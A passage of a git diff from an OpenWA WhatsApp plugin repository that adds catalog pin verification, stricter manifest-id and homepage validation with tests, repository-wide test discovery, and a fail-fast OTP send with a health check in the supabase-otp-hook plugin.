+// +// Usage: node scripts/catalog-live-check.mjs [path/to/plugins.json] +// Exit 0 when every entry resolves and matches; exit 1 listing each entry that does not. + +import { createHash } from 'node:crypto'; +import { readFile } from 'node:fs/promises'; + +const CATALOG = process.argv[2] ?? new URL('../plugins.json', import.meta.url).pathname; +const TIMEOUT_MS = 30_000; + +/** Split "https://host/x.zip#sha256=abc..." into its parts. The pin is what the host verifies. */ +function parseDownload(raw) { + const hash = raw.indexOf('#'); + if (hash < 0) return { url: raw, pin: null }; + const url = raw.slice(0, hash); + const m = /^#sha256=([0-9a-f]{64})$/.exec(raw.slice(hash)); + return { url, pin: m ? m[1] : null }; +} + +async function checkEntry(entry) { + const label = `${entry.id} v${entry.version}`; + if (typeof entry.download !== 'string' || !entry.download) { + return `${label}: no download URL`; + } + const { url, pin } = parseDownload(entry.download); + if (!pin) return `${label}: download URL carries no valid #sha256= pin`; + + let res; + try { + res = await fetch(url, { redirect: 'follow', signal: AbortSignal.timeout(TIMEOUT_MS) }); + } catch (e) { + return `${label}: ${url} did not respond (${e.name === 'TimeoutError' ? `no answer in ${TIMEOUT_MS} ms` : e.message})`; + } + if (!res.ok) { + const why = res.status === 404 ? ' (the release or its asset does not exist; was the tag pushed?)' : ''; + return `${label}: ${url} answered ${res.status}${why}`; + } + + const actual = createHash('sha256').update(Buffer.from(await res.arrayBuffer())).digest('hex'); + if (actual !== pin) { + return `${label}: sha256 mismatch\n pinned ${pin}\n served ${actual}\n the published asset is not the artifact this catalog was generated from`; + } + return null; +} + +const catalog = JSON.parse(await readFile(CATALOG, 'utf8')); +const entries = Array.isArray(catalog) ? catalog : catalog.plugins; +if (!Array.isArray(entries) || entries.length === 0) { + console.error(`No plugin entries found in ${CATALOG}`); + process.exit(1); +} + +const failures = (await Promise.all(entries.map(checkEntry))).filter(Boolean); + +if (failures.length > 0) { + console.error(`Catalog is not installable (${failures.length} of ${entries.length} entries):\n`); + for (const f of failures) console.error(` ${f}`); + console.error('\nEvery entry above fails a real install from the dashboard.'); + process.exit(1); +} + +console.log(`Catalog is live and installable (${entries.length} plugin(s) fetched, every sha256 pin matches).`); diff --git a/scripts/catalog.mjs b/scripts/catalog.mjs index d696811..a0dba44 100644 --- a/scripts/catalog.mjs +++ b/scripts/catalog.mjs @@ -54,17 +54,22 @@ const HOST_PERMISSIONS = new Set([ ]); // Manifest hygiene gates (hard failures) and soft warnings. Keep these aligned with PLUGIN-STANDARD.md. -function validateManifest(id, manifest) { +export function validateManifest(id, manifest) { // `id` here is the DIRECTORY name, and it is what every path in this repo is built from — the plugin // folder, the zip name, the release tag. `manifest.id` is what the host installs under and what the // catalogue publishes. If the two disagree, the download URL points at one plugin and the installed // plugin calls itself another. // PLUGIN-STANDARD states an id shape and a reserved list; nothing checked either, so both could be // violated by a plugin that then took a path or a catalogue slot it should not have. - if (!ID_SHAPE.test(manifest.id ?? '')) { + // ID_SHAPE allows a dot, so it accepts `a..b`, which the host rejects outright as a path-escape + // shape (plugin-manifest.ts). Refuse it here rather than on the operator's gateway, after release. + if (!ID_SHAPE.test(manifest.id ?? '') || String(manifest.id).includes('..')) { throw new Error(`${id}: manifest.id "${manifest.id}" does not match ${ID_SHAPE} (PLUGIN-STANDARD.md)`); } - if (RESERVED_IDS.has(manifest.id)) { + // Lowercased before the lookup, the way the host does it. ID_SHAPE accepts mixed case, so a manifest + // id of `Auto-Reply` passed every gate here, took a tag, a published artifact and a catalogue slot, + // and was then refused at install as reserved, with the release already public. + if (RESERVED_IDS.has(String(manifest.id).toLowerCase())) { throw new Error(`${id}: "${manifest.id}" is a reserved id`); } if (manifest.id !== id) { @@ -79,6 +84,16 @@ function validateManifest(id, manifest) { `the catalogue builds its download URLs from it (got ${manifest.repository ?? 'nothing'})`, ); } + // Each plugin README's Details table renders this link labelled with THIS repository's name, so an + // ungated homepage publishes a link that says one repository and goes to another. Checked after the + // repository gate above, so the prefix is already known to be a release-owner github.com URL. The + // trailing slash stops a sibling repository under the same owner from prefix-matching. + if (manifest.homepage !== undefined && !String(manifest.homepage).startsWith(`${manifest.repository}/`)) { + throw new Error( + `${id}: homepage must be a URL under ${manifest.repository}: the README Details table renders ` + + `it as this repository (got ${JSON.stringify(manifest.homepage)})`, + ); + } if (manifest.sessionScoped === undefined) { throw new Error(`${id}: manifest.json must declare "sessionScoped" explicitly (true or false)`); } @@ -122,12 +137,12 @@ function validateManifest(id, manifest) { } } -// Top released CHANGELOG heading: `## [x.y.z] — YYYY-MM-DD` (skips `## [Unreleased]`). +// Top released CHANGELOG heading: `## [x.y.z] - YYYY-MM-DD` (skips `## [Unreleased]`). function readChangelogTop(id) { const path = join(ROOT, id, 'CHANGELOG.md'); if (!existsSync(path)) throw new Error(`${id}: missing CHANGELOG.md`); const m = readFileSync(path, 'utf8').match(/^##\s*\[(\d+\.\d+\.\d+)\]\s*[—–-]\s*(\d{4}-\d{2}-\d{2})/m); - if (!m) throw new Error(`${id}: CHANGELOG.md has no released "## [x.y.z] — YYYY-MM-DD" heading`); + if (!m) throw new Error(`${id}: CHANGELOG.md has no released "## [x.y.z] - YYYY-MM-DD" heading`); return { version: m[1], date: m[2] }; } @@ -212,7 +227,7 @@ function detailsBlock(e) { `| **Type** | \`${e.type}\` |`, `| **Requires OpenWA** | ≥ ${e.minOpenWAVersion} ${e.testedOpenWAVersion ? `(tested ${e.testedOpenWAVersion})` : '(not yet smoke-tested)'} |`, `| **Keywords** | ${e.keywords.join(', ')} |`, - `| **Repository** | [OpenWA-plugins/${e.id}](${e.homepage}) |`, + `| **Repository** | [OpenWA-plugins/${e.id}](${e.homepage ?? e.repoUrl}) |`, '', ].join('\n'); } @@ -235,6 +250,9 @@ function replaceRegion(path, regex, replacement, label) { return current.replace(regex, replacement); } +// Only run when invoked directly. validateManifest is imported by scripts/catalog.test.mjs, and +// importing this module must not rebuild every plugin, which buildEntry does to compute the pin. +if (process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { const entries = discoverPlugins().map(buildEntry); const targets = [ @@ -259,3 +277,4 @@ if (CHECK) { for (const t of stale) writeFileSync(t.path, t.next); console.log(`Catalog written (${entries.length} plugin(s)); updated ${stale.length} file(s).`); } +} diff --git a/scripts/catalog.test.mjs b/scripts/catalog.test.mjs index 73dc3b0..fbe358b 100644 --- a/scripts/catalog.test.mjs +++ b/scripts/catalog.test.mjs @@ -4,6 +4,7 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; import { readFileSync, readdirSync, existsSync } from 'node:fs'; +import { validateManifest } from './catalog.mjs'; // Three of the checks below iterate a list that can come back empty — no plugin directories, no stable // entries, no catalog entries at all — and an empty loop is indistinguishable from a passing one. Proven @@ -155,3 +156,48 @@ test('every catalog download URL pins the artifact digest', () => { ); } }); + +// ── Manifest gates that must mirror the host, or a release is published and then refused at install ── + +const OK = { + id: 'demo', + repository: 'https://github.com/rmyndharis/OpenWA-plugins', + homepage: 'https://github.com/rmyndharis/OpenWA-plugins/tree/main/demo', + sessionScoped: true, + status: 'beta', + permissions: ['messages:send'], +}; + +test('a reserved id is refused however it is cased', () => { + // The host lowercases before its reserved lookup, so `Auto-Reply` installs as a plugin that shadows + // the built-in `auto-reply`. Case-sensitive here, it passed every gate, took a tag and a published + // artifact, and was refused on the operator's gateway with the release already public. + for (const id of ['auto-reply', 'Auto-Reply', 'AUTO-REPLY', 'Baileys', 'Translation']) { + assert.throws( + () => validateManifest(id, { ...OK, id }), + /is a reserved id/, + `${id}: must be refused as reserved`, + ); + } + assert.doesNotThrow(() => validateManifest('demo', { ...OK })); +}); + +test('an id containing ".." is refused, as the host refuses it', () => { + assert.throws(() => validateManifest('a..b', { ...OK, id: 'a..b' }), /does not match/); +}); + +test('a homepage outside the declared repository is refused', () => { + // Each plugin README renders this link labelled with THIS repository's name, so an ungated homepage + // publishes a link that says one repository and goes somewhere else. + assert.throws( + () => validateManifest('demo', { ...OK, homepage: 'https://example.com/demo' }), + /homepage must be a URL under/, + ); + // A sibling repository under the same owner must not prefix-match. + assert.throws( + () => validateManifest('demo', { ...OK, homepage: 'https://github.com/rmyndharis/OpenWA-plugins-evil' }), + /homepage must be a URL under/, + ); + // Absent is allowed: nothing requires it, and the table falls back to the repository URL. + assert.doesNotThrow(() => validateManifest('demo', { ...OK, homepage: undefined })); +}); diff --git a/scripts/loader-check.mjs b/scripts/loader-check.mjs index 4903da4..91d1986 100644 --- a/scripts/loader-check.mjs +++ b/scripts/loader-check.mjs @@ -3,7 +3,8 @@ // needs. So a bundle that throws on require — or default-exports the wrong shape — is first discovered // by the host at install, after the tag and the GitHub Release are already published. Run after a build. import { createRequire } from 'node:module'; -import { existsSync, readFileSync } from 'node:fs'; +import { cpSync, existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; import { join, resolve, dirname } from 'node:path'; import { fileURLToPath } from 'node:url'; import { discoverPluginDirs } from './run-tests.mjs'; @@ -46,6 +47,13 @@ if (process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.ur process.exit(1); } + // Bundles are loaded from a copy OUTSIDE this repository. Node resolves a bare `require` by walking + // up from the requiring FILE's own directory, so a bundle loaded where it was built reaches + // /node_modules and every dev dependency in it. The operator's gateway requires the same file + // from its own plugin directory, where no such tree exists, so an accidental unbundled import would + // pass this gate and then throw MODULE_NOT_FOUND at install. + const staging = mkdtempSync(join(tmpdir(), 'openwa-loader-')); + const failures = []; let handles = process.getActiveResourcesInfo().length; for (const id of dirs) { @@ -53,11 +61,15 @@ if (process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.ur // and it is the one package.mjs asserts is in the archive. Checking a different file would leave // the published entry point untested while reporting success. const main = JSON.parse(readFileSync(join(ROOT, id, 'manifest.json'), 'utf8')).main; - const bundle = join(ROOT, id, main); - if (!existsSync(bundle)) { + if (!existsSync(join(ROOT, id, main))) { failures.push(`${id}: ${main} is missing — run \`npm run build\` first`); continue; } + // Copy the directory `main` sits in, so the whole built tree travels with it, notably + // dist/package.json with its {"type":"commonjs"} pin, which is what makes the copy parse the same + // way the archive member does. + cpSync(join(ROOT, id, dirname(main)), join(staging, id, dirname(main)), { recursive: true }); + const bundle = join(staging, id, main); // require() is separated from the shape check so a bundle that throws on load is still reported // against the plugin it belongs to — a bare "missing dependency" names nothing across ten plugins. let mod; @@ -84,6 +96,8 @@ if (process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.ur handles = now; } + rmSync(staging, { recursive: true, force: true }); + if (failures.length) { for (const f of failures) console.error(`✗ ${f}`); process.exit(1); diff --git a/scripts/run-tests.mjs b/scripts/run-tests.mjs index 8208068..c0a2f8b 100644 --- a/scripts/run-tests.mjs +++ b/scripts/run-tests.mjs @@ -1,8 +1,7 @@ -// Test runner with auto-discovery: finds every plugin directory (any top-level dir with a -// manifest.json — the same rule as scripts/catalog.mjs) plus scripts/, collects their -// *.test.ts / *.test.mjs files recursively, and runs them with `node --import tsx --test`. -// Extra CLI args are forwarded to the test runner (e.g. `node scripts/run-tests.mjs -// --experimental-test-coverage`). Adding a plugin no longer requires editing package.json. +// Test runner with auto-discovery: walks the repository for *.test.ts / *.test.mjs files and runs +// them with `node --import tsx --test`. Extra CLI args are forwarded to the test runner (e.g. +// `node scripts/run-tests.mjs --experimental-test-coverage`). Adding a plugin, or a test file that +// lives outside a plugin directory, requires no edit here or in package.json. import { readdirSync, statSync, existsSync } from 'node:fs'; import { join, dirname, resolve, relative } from 'node:path'; import { fileURLToPath } from 'node:url'; @@ -19,9 +18,18 @@ export function discoverPluginDirs(root = ROOT) { .sort(); } -function collectTests(dir, out = []) { +// Directories the walk never descends into: installed packages, build output, and the two gitignored +// notes trees. A separate set from SKIP, because SKIP excludes 'scripts' and the test walk must +// include it. +const WALK_SKIP = new Set(['node_modules', 'dist', 'docs', '_docs']); + +// Walked from the repository root rather than from a computed list of directories. Discovery used to +// be plugin dirs plus scripts/, so a test file anywhere else (a package.test.mjs at the root next to +// package.mjs, or one under types/) would sit on disk and never run, which reads exactly like a test +// that passes. +export function collectTests(dir, out = []) { for (const entry of readdirSync(dir, { withFileTypes: true })) { - if (entry.name === 'node_modules' || entry.name === 'dist' || entry.name.startsWith('.')) continue; + if (WALK_SKIP.has(entry.name) || entry.name.startsWith('.')) continue; const path = join(dir, entry.name); if (entry.isDirectory()) collectTests(path, out); else if (/\.test\.(ts|mjs)$/.test(entry.name)) out.push(path); @@ -31,13 +39,12 @@ function collectTests(dir, out = []) { // Only run when invoked directly (the discovery helpers are imported by scripts/run-tests.test.mjs). if (process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { - const dirs = [...discoverPluginDirs(), 'scripts']; - const files = dirs.flatMap((d) => collectTests(join(ROOT, d))).sort(); + const files = collectTests(ROOT).sort(); if (files.length === 0) { console.error('No test files found.'); process.exit(1); } - console.log(`Running ${files.length} test file(s) from ${dirs.length} director(ies): ${dirs.join(', ')}`); + console.log(`Running ${files.length} test file(s) discovered under the repository root`); const result = spawnSync( process.execPath, diff --git a/scripts/run-tests.test.mjs b/scripts/run-tests.test.mjs index a8275d3..91d695c 100644 --- a/scripts/run-tests.test.mjs +++ b/scripts/run-tests.test.mjs @@ -3,10 +3,11 @@ // through untested the way the old hardcoded glob in package.json allowed. import { test } from 'node:test'; import assert from 'node:assert/strict'; -import { readdirSync } from 'node:fs'; +import { mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; import { join, dirname, resolve } from 'node:path'; import { fileURLToPath } from 'node:url'; -import { discoverPluginDirs } from './run-tests.mjs'; +import { collectTests, discoverPluginDirs } from './run-tests.mjs'; const ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '..'); @@ -25,3 +26,25 @@ test('every discovered plugin directory contains at least one test file', () => assert.ok(hasTestFile(join(ROOT, id)), `${id}: plugin directory has no *.test.ts — add tests`); } }); + +// Discovery used to be "plugin directories plus scripts/", so a test file anywhere else sat on disk +// and never ran, which is indistinguishable from a test that passes. The walk now starts at the root. +test('a test file outside a plugin directory is discovered', () => { + const dir = mkdtempSync(join(tmpdir(), 'openwa-discovery-')); + try { + mkdirSync(join(dir, 'types'), { recursive: true }); + mkdirSync(join(dir, 'a-plugin'), { recursive: true }); + mkdirSync(join(dir, 'node_modules', 'pkg'), { recursive: true }); + mkdirSync(join(dir, 'a-plugin', 'dist'), { recursive: true }); + writeFileSync(join(dir, 'root-level.test.mjs'), ''); + writeFileSync(join(dir, 'types', 'contract.test.ts'), ''); + writeFileSync(join(dir, 'a-plugin', 'index.test.ts'), ''); + writeFileSync(join(dir, 'node_modules', 'pkg', 'vendor.test.mjs'), ''); + writeFileSync(join(dir, 'a-plugin', 'dist', 'bundled.test.mjs'), ''); + + const found = collectTests(dir).map((p) => p.slice(dir.length + 1)).sort(); + assert.deepEqual(found, ['a-plugin/index.test.ts', 'root-level.test.mjs', 'types/contract.test.ts']); + } finally { + rmSync(dir, { recursive: true, force: true }); + } +}); diff --git a/scripts/shared-copies.test.mjs b/scripts/shared-copies.test.mjs index 8a6e9c6..d9071cb 100644 --- a/scripts/shared-copies.test.mjs +++ b/scripts/shared-copies.test.mjs @@ -8,7 +8,7 @@ import assert from 'node:assert/strict'; import { readFileSync } from 'node:fs'; const GROUPS = [ - ['chatwoot-adapter/chat-lock.ts', 'typebot-connector/chat-lock.ts'], + ['chatwoot-adapter/chat-lock.ts', 'http-action/chat-lock.ts', 'typebot-connector/chat-lock.ts'], ['chatwoot-adapter/multipart.ts', 'typebot-connector/multipart.ts', 'voice-transcription/multipart.ts'], ['http-action/jid.ts', 'typebot-connector/jid.ts'], ['after-hours/cooldown.ts', 'faq-bot/cooldown.ts', 'http-action/cooldown.ts'], diff --git a/supabase-otp-hook/CHANGELOG.md b/supabase-otp-hook/CHANGELOG.md index dae3941..f39e898 100644 --- a/supabase-otp-hook/CHANGELOG.md +++ b/supabase-otp-hook/CHANGELOG.md @@ -7,6 +7,32 @@ to [Semantic Versioning](https://semver.org/). ## [Unreleased] +## [0.3.5] - 2026-08-25 + +### Fixed + +- **A send that fails immediately no longer loses the OTP silently.** The send was fired and forgotten + to stay inside the ingress worker's 5s dispatch budget, which is right for a slow send but also + swallowed instant rejections: no live engine for the session, the plugin not activated for it, or the + concurrent-capability limit. Supabase had already been acked 200 and never retries such a delivery, + so the code was simply gone with one warn line behind it. The send is now raced against a short + deadline and a failure inside that window fails the delivery, so the host retries it with backoff and + dead-letters it for redrive. A send that is merely slow still finishes in the background. + +### Added + +- A `healthCheck` reporting the last failed send, including one that fails after the delivery has been + acknowledged, which reaches no retry and no dead-letter row. The host reports a plugin without a + health check as healthy, so a dropped OTP left the dashboard green. + +### Changed + +- The documented ack is corrected to **200** with the body `{"ok":true}`. The manifest declares + `application/json` and hosts below 0.20.0 return it, but 0.20.0 and later force `text/plain` on every + ingress response as an XSS guard on the reflected body, so nothing should match on the content type. + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [0.3.4] - 2026-08-20 ### Changed diff --git a/supabase-otp-hook/README.md b/supabase-otp-hook/README.md index 1046cd8..c5d9ea7 100644 --- a/supabase-otp-hook/README.md +++ b/supabase-otp-hook/README.md @@ -15,13 +15,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `supabase-otp-hook` | -| **Version** | 0.3.4 | -| **Released** | 2026-08-20 | +| **Version** | 0.3.5 | +| **Released** | 2026-08-25 | | **Status** | beta | | **Author** | maplerichie | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.8.16 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.8.16 (tested 0.23.3) | | **Keywords** | supabase, auth, otp, sms, whatsapp, verification, standard-webhooks, openwa | | **Repository** | [OpenWA-plugins/supabase-otp-hook](https://github.com/rmyndharis/OpenWA-plugins/tree/main/supabase-otp-hook) | @@ -36,10 +36,16 @@ - **Configurable message** — `{appName}` and `{otp}` placeholders. - **Synchronous feedback** — the host verifies the signature (→ **401** on failure) and runs a `session-alive` preflight (→ **503** on a dead WhatsApp session) before accepting, returning - **200 `application/json`** on success. Supabase learns immediately whether the OTP could be handed - off; a dead session no longer gets swallowed as a silent 202. -- **Fire-and-forget WhatsApp send** — the ingress worker dispatch is bounded to 5 s, so the send runs - in the background to avoid a timeout-induced retry that would duplicate the OTP. + **200** on success. Supabase learns immediately whether the OTP could be handed + off; a dead session no longer gets swallowed as a silent 202. The ack body is the JSON literal + `{"ok":true}`; its content type is `application/json` on hosts below 0.20.0 and `text/plain` on 0.20.0 + and later, which forces the type on every ingress reflection, so nothing should match on it. +- **Fail-fast WhatsApp send** — a send that fails immediately (no live engine, the plugin not activated + for the session, the concurrent-capability limit) fails the delivery, so the host retries it and + dead-letters it for redrive instead of dropping the OTP, and + `GET /api/plugins/supabase-otp-hook/health` reports the last failure. A send that is only slow + finishes in the background: the ingress worker dispatch is bounded to 5 s, and an overrun would be + retried into a duplicate OTP. - **Per-user ordering + dedup** — ordered per `user.id`, deduped on `webhook-id`. Ordering and the retry/DLQ path need `QUEUE_ENABLED=true` on the host; with the queue off, ingress runs inline, takes no ordering lock, and makes a single attempt. @@ -48,7 +54,7 @@ Supabase calls the OpenWA ingress URL. The host verifies the Standard Webhooks signature against the instance secret (→ 401 on a mismatch), runs the `session-alive` preflight (→ 503 on a dead session), -persists the event for dedup, fast-acks Supabase with **200 `application/json`**, then dispatches the +persists the event for dedup, fast-acks Supabase with **200** `{"ok":true}`, then dispatches the sandboxed handler async from the ingress worker (retry + DLQ). The handler parses `{ user: { phone }, sms: { otp } }`, normalizes the phone to `@c.us`, and fires the WhatsApp send in the background to stay within the worker's 5 s dispatch budget. @@ -83,8 +89,9 @@ to the mint call. ⚠️ **This gives up the dead-session 503.** The host preflight probes the *instance* scope, and a blank scope has no single session to probe — `fallbackSessionId` is plugin config the host never sees. So a delivery whose fallback session is down is answered `200 {"ok":true}`, Supabase treats it as - delivered and does not retry, and the OTP is lost. The only trace is the plugin's - `sendText failed (background)` log line. Prefer Option A wherever the sending session is known. + delivered and does not retry. The send itself then fails fast, so the host records the delivery as + failed and dead-letters it for redrive, and `GET /api/plugins/supabase-otp-hook/health` reports the + failure. Supabase is still never told. Prefer Option A wherever the sending session is known. - **Option C — misconfiguration.** Both blank → the handler drops the delivery (no session to send from). > The plugin's **Sessions** tab controls *activity*, not *which session sends*. Sending session = `sessionScope` or `fallbackSessionId`, in that order. diff --git a/supabase-otp-hook/handler.test.ts b/supabase-otp-hook/handler.test.ts index 1d0b720..7f87e73 100644 --- a/supabase-otp-hook/handler.test.ts +++ b/supabase-otp-hook/handler.test.ts @@ -134,13 +134,45 @@ test('does not send when no session is available', async () => { // ── send behavior ──────────────────────────────────────────────────────────── -test('backgrounds the sendText failure (logs the error, does not throw)', async () => { +test('a send that fails immediately fails the delivery, so the host retries it', async () => { + // Supabase was acked 200 before this handler ran and never retries such a delivery itself, so + // backgrounding an instant rejection lost the OTP outright with one warn line to show for it. The + // capability layer rejects instantly when the plugin is not activated for the session, when the + // session has no live engine, and at the concurrent-capability limit. Throwing hands the delivery + // back to the host, which retries it with backoff and dead-letters it for redrive. const { logs, deps } = makeDeps({ fallbackSessionId: 's' }); const messages = { sendText: async () => { throw new Error('session down'); } }; - await handleSendSms({ ...deps, messages }, makeReq({ user: { phone: '+15551234567' }, sms: { otp: '123456' } })); - // Flush the background .then rejection (microtask) before asserting on logs. + const reported: (string | null)[] = []; + await assert.rejects( + handleSendSms( + { ...deps, messages, onSendResult: e => void reported.push(e) }, + makeReq({ user: { phone: '+15551234567' }, sms: { otp: '123456' } }), + ), + /WhatsApp send failed: session down/, + ); + assert.ok(logs.some(l => l.message.includes('sendText failed') && /session down/.test(String(l.meta?.error)))); + assert.deepEqual(reported, ['session down'], 'the outcome is reported for healthCheck'); +}); + +test('a send that is merely slow is left running and does not fail the delivery', async () => { + // The opposite failure mode, and the reason the send is not simply awaited: the worker dispatch is + // bounded to 5 s, and an overrun reaches the host as a failed delivery, which retries the job and + // sends the contact a DUPLICATE OTP. + const { deps } = makeDeps({ fallbackSessionId: 's' }); + let settle: (() => void) | undefined; + const messages = { sendText: () => new Promise((_res, _rej) => { settle = () => _rej(new Error('late failure')); }) as never }; + const reported: (string | null)[] = []; + // failFastMs shortened so the test does not wait the real window. + await handleSendSms( + { ...deps, messages, failFastMs: 5, onSendResult: e => void reported.push(e) }, + makeReq({ user: { phone: '+15551234567' }, sms: { otp: '123456' } }), + ); + assert.deepEqual(reported, [], 'nothing is known yet when the handler returns'); + + // The send outliving the handler still reports, which is what healthCheck surfaces. + settle?.(); await new Promise(resolve => setImmediate(resolve)); - assert.ok(logs.some(l => l.message.includes('sendText failed (background)') && /session down/.test(String(l.meta?.error)))); + assert.deepEqual(reported, ['late failure']); }); // ── debug logging ──────────────────────────────────────────────────────────── diff --git a/supabase-otp-hook/handler.ts b/supabase-otp-hook/handler.ts index 9cfd2a2..fcedec5 100644 --- a/supabase-otp-hook/handler.ts +++ b/supabase-otp-hook/handler.ts @@ -2,9 +2,9 @@ // // Runs ASYNC. The host verifies the Standard Webhooks signature (manifest signature.scheme: // 'standard-webhooks') and runs the `session-alive` preflight BEFORE dispatching this handler, then -// fast-acks Supabase (200 application/json) and enqueues this handler from the ingress worker (BullMQ, -// retry + DLQ). So by the time we run, the request is authentic and the sending session is live; this -// handler only parses the payload and fires the WhatsApp send. +// fast-acks Supabase (200) and enqueues this handler from the ingress worker (BullMQ, retry + DLQ). So +// by the time we run, the request is authentic and the sending session is live; this handler only +// parses the payload and fires the WhatsApp send. // // The return value is ignored — only whether this handler THROWS matters: a throw makes the host retry // (3×, backoff) then DLQ for redrive. Returning completes the JOB, but that is not quite "no retry": @@ -17,8 +17,9 @@ // Failure handling: // - Missing/malformed phone/otp → return (permanent client error; a retry won't fix a bad payload). // - No session to send from → return (operator config error; won't self-heal in the retry window). -// - sendText failure → fire-and-forget: the worker dispatch has a 5 s budget, so awaiting a -// slow send risks a 504 → retry → DUPLICATE OTP. Background it; log failures. +// - sendText failure → throw if it lands inside the fail-fast window, so the host retries the +// delivery and finally dead-letters it. A send that is only SLOW is left running in the background: +// the worker dispatch has a 5 s budget, and an overrun is a retry → DUPLICATE OTP. import type { WebhookRequest, PluginMessagingCapability } from '../types/openwa'; @@ -33,6 +34,11 @@ export interface HandlerDeps { config: SupabaseSmsConfig; messages: Pick; log: (message: string, meta?: Record) => void; + /** The send's outcome (null = delivered), reported even after the fail-fast window closed and this + * handler returned. index.ts keeps the last one for healthCheck. */ + onSendResult?: (error: string | null) => void; + /** Fail-fast window override in ms; defaults to SEND_FAILFAST_MS. Tests shorten it. */ + failFastMs?: number; } interface SupabaseSmsPayload { @@ -74,6 +80,14 @@ export function composeMessage(template: string, otp: string, appName: string): return template.replace(/\{appName\}|\{otp\}/g, token => (token === '{appName}' ? appName : otp)); } +/** + * How long the handler waits for the send to fail before leaving it to finish in the background. Long + * enough for the capability round trip that carries an instant rejection (plugin not activated for the + * session, session has no live engine, at the concurrent-capability limit), and far short of the host's + * 5 s dispatch budget, whose overrun is reported as a failed delivery and retried into a duplicate OTP. + */ +const SEND_FAILFAST_MS = 1500; + /** * Handle one Supabase Send SMS delivery. The host has already verified the signature and confirmed the * session is live; this parses the payload and fires the WhatsApp send. See the file header. @@ -123,14 +137,51 @@ export async function handleSendSms(deps: HandlerDeps, req: WebhookRequest): Pro // Never the code itself: it is a live credential, and debug is on exactly when output is being shared. if (cfg.debug) deps.log('supabase-otp-hook: sending OTP', { debug: true, sessionId, chatId: maskChatId(targetChatId), textLength: text.length }); - // Fire-and-forget: the worker dispatch is bounded to 5 s (INGRESS_DISPATCH_TIMEOUT_MS), so awaiting a - // slow send risks a 504 → retry → DUPLICATE OTP. Background it; failures are logged, not retried. - void deps.messages.sendText(sessionId, targetChatId, text).then( - () => { if (cfg.debug) deps.log('supabase-otp-hook: sendText ok', { debug: true, sessionId, chatId: maskChatId(targetChatId) }); }, + // The send is raced against a short deadline rather than fired and forgotten. The two failure modes + // pull in opposite directions and both are real: + // + // - A send that is only SLOW must outlive this handler. The worker dispatch is bounded to 5 s + // (INGRESS_DISPATCH_TIMEOUT_MS) and an overrun reaches the host as a failed delivery, which retries + // the job and sends the contact a DUPLICATE OTP. + // - A send that has ALREADY FAILED must not be swallowed. The capability layer rejects instantly when + // the plugin is not activated for the session, when the session has no live engine, and when the + // plugin is at its concurrent-capability limit. Supabase was acked 200 before this handler ran and + // never retries such a delivery itself, so backgrounding it lost the code outright, with one warn + // line to show for it. + // + // Throwing inside the window hands the delivery back to the host, which retries it with backoff and + // writes a dead-letter row for redrive once the attempts are spent. Nothing was delivered in that + // case, so a retry cannot duplicate anything. + const settled = deps.messages.sendText(sessionId, targetChatId, text).then( + () => { + if (cfg.debug) deps.log('supabase-otp-hook: sendText ok', { debug: true, sessionId, chatId: maskChatId(targetChatId) }); + deps.onSendResult?.(null); + return null; + }, (err: unknown) => { - deps.log('supabase-otp-hook: sendText failed (background)', { - sessionId, chatId: maskChatId(targetChatId), error: err instanceof Error ? err.message : String(err), + const error = err instanceof Error ? err.message : String(err); + deps.log('supabase-otp-hook: sendText failed', { + sessionId, chatId: maskChatId(targetChatId), error, }); + deps.onSendResult?.(error); + return error; }, ); + + const failFastMs = deps.failFastMs ?? SEND_FAILFAST_MS; + // A sentinel rather than a rejection, so a slow send is not mistaken for a failed one. + const pending = Symbol('pending'); + let timer: ReturnType | undefined; + // Deliberately NOT unref'd: this timer is the only thing that can end the race when the send neither + // resolves nor rejects, and an unref'd one lets the loop drain first, leaving the handler hanging + // until the host's dispatch budget kills it. It is cleared the moment the race settles, so it holds + // the loop for at most one window, while an OTP delivery is genuinely in flight. + const deadline = new Promise(resolve => { + timer = setTimeout(() => resolve(pending), failFastMs); + }); + const outcome = await Promise.race([settled, deadline]); + clearTimeout(timer); + if (outcome !== pending && outcome !== null) { + throw new Error(`supabase-otp-hook: WhatsApp send failed: ${outcome}`); + } } diff --git a/supabase-otp-hook/index.test.ts b/supabase-otp-hook/index.test.ts index 168891f..8f67701 100644 --- a/supabase-otp-hook/index.test.ts +++ b/supabase-otp-hook/index.test.ts @@ -87,3 +87,52 @@ test('onEnable throws when appName is missing', async () => { const plugin = new SupabaseSmsHook(); await assert.rejects(plugin.onEnable(ctx), /appName is required/); }); + +test('healthCheck reports a dropped OTP that reaches no retry and no dead-letter row', async () => { + // A send that fails AFTER the handler's fail-fast window has closed reaches nobody else: Supabase was + // already acked 200 and the ingress job completed, so there is no retry and no dead-letter row. The + // host reports a plugin with no health check as healthy, so this was the only surface left. + let handler: ((req: WebhookRequest) => unknown) | undefined; + let sendFails = false; + const ctx = { + pluginId: 'supabase-otp-hook', + config: { appName: 'Acme', fallbackSessionId: 'sess' }, + logger: { log: () => {}, debug: () => {}, warn: () => {}, error: () => {} }, + storage: {} as PluginContext['storage'], + registerHook: () => {}, + messages: { + sendText: async () => { + if (sendFails) throw new Error('no active engine'); + return { messageId: 'm1', timestamp: TS }; + }, + reply: async () => ({ messageId: 'm1', timestamp: TS }), + }, + engine: {} as PluginContext['engine'], + net: {} as PluginContext['net'], + conversations: {} as PluginContext['conversations'], + registerWebhook: (_route: string, h: (req: WebhookRequest) => unknown) => { handler = h; }, + } as unknown as PluginContext; + + const plugin = new SupabaseSmsHook(); + await plugin.onEnable(ctx); + assert.equal((await plugin.healthCheck()).healthy, true, 'healthy before anything has been sent'); + + const req = { + body: JSON.stringify({ user: { phone: '+15551234567' }, sms: { otp: '111111' } }), + sessionId: 'sess', + } as unknown as WebhookRequest; + + await handler!(req); + assert.equal((await 